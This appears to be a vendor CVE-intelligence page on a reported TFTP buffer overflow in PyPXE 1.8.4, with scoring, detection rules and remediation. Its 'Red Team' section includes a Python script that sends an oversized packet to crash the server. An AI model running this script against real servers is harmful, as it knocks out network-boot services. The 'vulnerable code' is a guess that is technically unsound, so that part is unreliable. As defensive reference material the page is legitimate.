☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-120
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-46960

CVE-2023-46960 Buffer Overflow in Pypxe
📅 PUBLISHED: 2024-04-29 00:00 UTC 🔄 UPDATED: 2026-08-28 11:35 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.54%
👁️
0.54% probability
13.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-46960 identifies a buffer overflow vulnerability in PyPXE version 1.8.4, specifically within the handle function of the TFTP module. This flaw allows a remote, unauthenticated attacker to trigger a denial of service (DoS) condition by sending a specially crafted TFTP request. The vulnerability stems from improper bounds checking when processing incoming TFTP packets, leading to memory corruption and service crash. As PyPXE is a Python-based PXE (Preboot eXecution Environment) server commonly used in network booting environments, exploitation could disrupt critical provisioning workflows in data centers, labs, or enterprise networks. No public exploit code or patch is currently available, and the CVSS score is listed as 0.0, indicating incomplete scoring data.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

PyPXE is distributed as a Python package via PyPI. Organizations using PyPXE in their network boot infrastructure should verify their version and monitor for updates. The lack of a patch or official advisory from the vendor increases supply chain risk, as users must rely on manual mitigation or alternative solutions until a fix is released.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which typically indicates that the scoring data is missing or incomplete. Based on the vulnerability description, a reasonable assessment would be:

  • Attack Vector (AV): Network (N) – exploitable remotely.
  • Attack Complexity (AC): Low (L) – no special conditions required.
  • Privileges Required (PR): None (N) – no authentication needed.
  • User Interaction (UI): None (N) – no user action required.
  • Scope (S): Unchanged (U) – affects only the vulnerable component.
  • Confidentiality (C): None (N) – no data exposure.
  • Integrity (I): None (N) – no data modification.
  • Availability (A): High (H) – service crash leads to denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Estimated Base Score: 7.5 (High)

Threat Level: High – due to remote exploitability, low complexity, and potential impact on critical network boot services.

Deep Dive & Mechanics

The vulnerability resides in the TFTP module of PyPXE, specifically in the handle function responsible for processing incoming TFTP requests. TFTP (Trivial File Transfer Protocol) operates over UDP and is used for booting diskless workstations. The handle function likely reads a TFTP packet into a fixed-size buffer without proper validation of the packet length. By sending a packet larger than the allocated buffer, an attacker can overflow the buffer, corrupting adjacent memory and causing the application to crash.

Root Cause: Lack of bounds checking on the input buffer size in the handle function. The code likely uses a static buffer (e.g., buf = bytearray(512)) and copies incoming data without verifying that the data fits within the buffer.

Attack Vector: An attacker sends a crafted UDP packet to the TFTP port (default 69) with a payload exceeding the expected size. The handle function processes this packet, triggering the overflow.

Impact: Denial of service – the PyPXE server crashes, preventing any further TFTP operations. In a PXE boot environment, this can halt the provisioning of new machines, causing operational downtime.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is hypothesized based on common TFTP implementations.

Vulnerable Code (PyPXE 1.8.4):

def handle(self, data, addr):
    buf = bytearray(512)  # Fixed-size buffer
    # Direct copy without length check
    buf[:len(data)] = data
    # Process buffer...

Patched Code (Hypothetical):

def handle(self, data, addr):
    max_size = 512
    if len(data) > max_size:
        # Log and discard oversized packet
        return
    buf = bytearray(max_size)
    buf[:len(data)] = data
    # Process buffer...

The fix involves adding a length check before copying data into the buffer, preventing the overflow.

Exploitation & Lab Setup

Red Team

Objective: Trigger a denial of service on a PyPXE server running version 1.8.4.

Lab Setup:

  1. Install PyPXE 1.8.4 on a target machine (e.g., Ubuntu 22.04):
    pip install pypxe==1.8.4
    
  2. Start the PyPXE server:
    pypxe --tftp
    
  3. From an attacker machine, send a malformed TFTP packet using a Python script:
    import socket
    
    target_ip = "192.168.1.100"
    target_port = 69
    
    # Craft an oversized TFTP Read Request packet
    # TFTP header: opcode (2 bytes) + filename (variable) + 0 + mode (variable) + 0
    # We'll send a packet larger than 512 bytes
    payload = b"\x00\x01" + b"A" * 600 + b"\x00" + b"octet\x00"
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(payload, (target_ip, target_port))
    sock.close()
    
  4. Observe the PyPXE server crash (process termination or unresponsiveness).

Expected Outcome: The server crashes, and subsequent TFTP requests fail.

Blue Team

Detection:

  • Monitor for unusually large TFTP packets (size > 512 bytes) on UDP port 69.
  • Use network intrusion detection systems (NIDS) to alert on oversized TFTP requests.
  • Enable application logging in PyPXE to capture errors or crashes.

Mitigation:

  • Isolate the PyPXE server in a segmented network.
  • Apply rate limiting on TFTP traffic.
  • Use a firewall to restrict TFTP access to trusted IPs only.
  • Consider replacing PyPXE with a more actively maintained alternative.

Indicators of Compromise (IOCs)

  • Network Traffic:
    • UDP packets to port 69 with payload size > 512 bytes.
    • TFTP packets containing repetitive characters (e.g., "AAAA...") in the filename or mode fields.
  • System Logs:
    • PyPXE crash logs or segmentation fault messages.
    • Application error entries indicating buffer overflow or memory corruption.
  • File Artifacts:
    • Core dumps from the PyPXE process (if enabled).

Detection Engineering

YARA Rule

rule CVE_2023_46960_PyPXE_TFTP_Overflow {
    meta:
        description = "Detects oversized TFTP packets targeting PyPXE 1.8.4"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-46960"
    strings:
        $tftp_opcode = { 00 01 }  // TFTP Read Request
        $large_payload = /.{600,}/  // Payload >= 600 bytes
    condition:
        $tftp_opcode at 0 and #large_payload > 0
}

Sigma Rule

title: CVE-2023-46960 PyPXE TFTP Buffer Overflow
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects oversized TFTP packets indicative of CVE-2023-46960 exploitation
author: Valters IT
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port: 69
        protocol: udp
        payload_length: '>512'
    condition: selection
falsepositives:
    - Legitimate large TFTP transfers (rare, as TFTP is limited to 512 bytes per packet)
level: high

Suricata Rule

alert udp any any -> any 69 (msg:"CVE-2023-46960 PyPXE TFTP Buffer Overflow Attempt"; content:"|00 01|"; offset:0; depth:2; byte_test:2,>,512,2; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the PyPXE server – restrict network access to only trusted clients using firewall rules.
  2. Monitor for exploitation – deploy the detection rules above to identify attacks.
  3. Apply workarounds – if possible, use a different TFTP server implementation (e.g., tftpd-hpa) until a patch is available.

Long-Term Fix:

  • Patch the code – add input validation in the handle function to check packet size before copying.
  • Upgrade – monitor the PyPXE repository for a patched version (e.g., > 1.8.4).
  • Replace – consider migrating to a maintained alternative like dnsmasq with TFTP support.

Vendor Contact: Since no patch is available, users should report the issue to the PyPXE maintainers and consider forking the project to apply a fix.


Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-46960/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.